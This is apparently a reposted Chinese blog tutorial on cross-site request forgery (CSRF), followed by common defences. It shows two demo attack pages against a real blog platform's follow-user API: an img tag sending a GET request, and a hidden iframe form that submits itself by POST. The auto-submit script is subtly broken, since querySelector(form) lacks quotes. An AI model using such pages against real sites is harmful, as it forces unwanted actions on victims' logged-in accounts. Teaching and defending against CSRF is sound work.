码迷,mamicode.com
首页 > 其他好文 > 详细

csrf攻击

时间:2019-09-04 09:52:01      阅读:63      评论:0      收藏:0      [点我收藏+]

标签:strong   伪造   class   有一个   ram   col   属性   name   site   

csrf 是跨站点伪造请求,主要利用发请求,浏览器每次都会自动带上 cookie 这个特点。

下面我们看看例子:

例子一:

如果博客园有一个关注博主的api是get请求的话,那这里我新建一个恶意页面:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    <img src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=18a5f476-18f4-e611-845c-ac853d9f53ac"/>
  </body>
</html>

在访问这个页面那一瞬,img就会跨域get请求这个api,你不知不觉间同时也像博客园这个接口发送了get请求,在你知情的情况下帮你关注了博主

例子二:

如果这个api不是get而是post呢?那么恶意网站就会尝试通过表单来跨域post请求api

<!--恶意页面主页-->
<!DOCTYPE HTML>
<html lang="en">
<body>
    <iframe src="./form.html" style="display:none"></iframe>
</body>
</html>

<!--iframe-->
<!DOCTYPE html>
<html lang="en">
<body>
    <form action="https://home.cnblogs.com/ajax/follow/followUser" method="post">
      <input name="userId" value="18a5f476-18f4-e611-845c-ac853d9f53ac"/>
      <input name="remark" value=""/>
      <input type="submit" value="提交" />
    </form>
    <script>
        document.querySelector(form).submit();
    </script>
   </body>
</html>    

防御措施:

1. cookie 设置 samesite 属性,不允许跨域传递 cookie

2. 检测Referer是否是本站的域名 ------- 最常用的了

3. 用Token存放在Cookie以外的位置(例如作为get参数、作为自定义Http Header)

csrf攻击

标签:strong   伪造   class   有一个   ram   col   属性   name   site   

原文地址:https://www.cnblogs.com/amiezhang/p/8543323.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!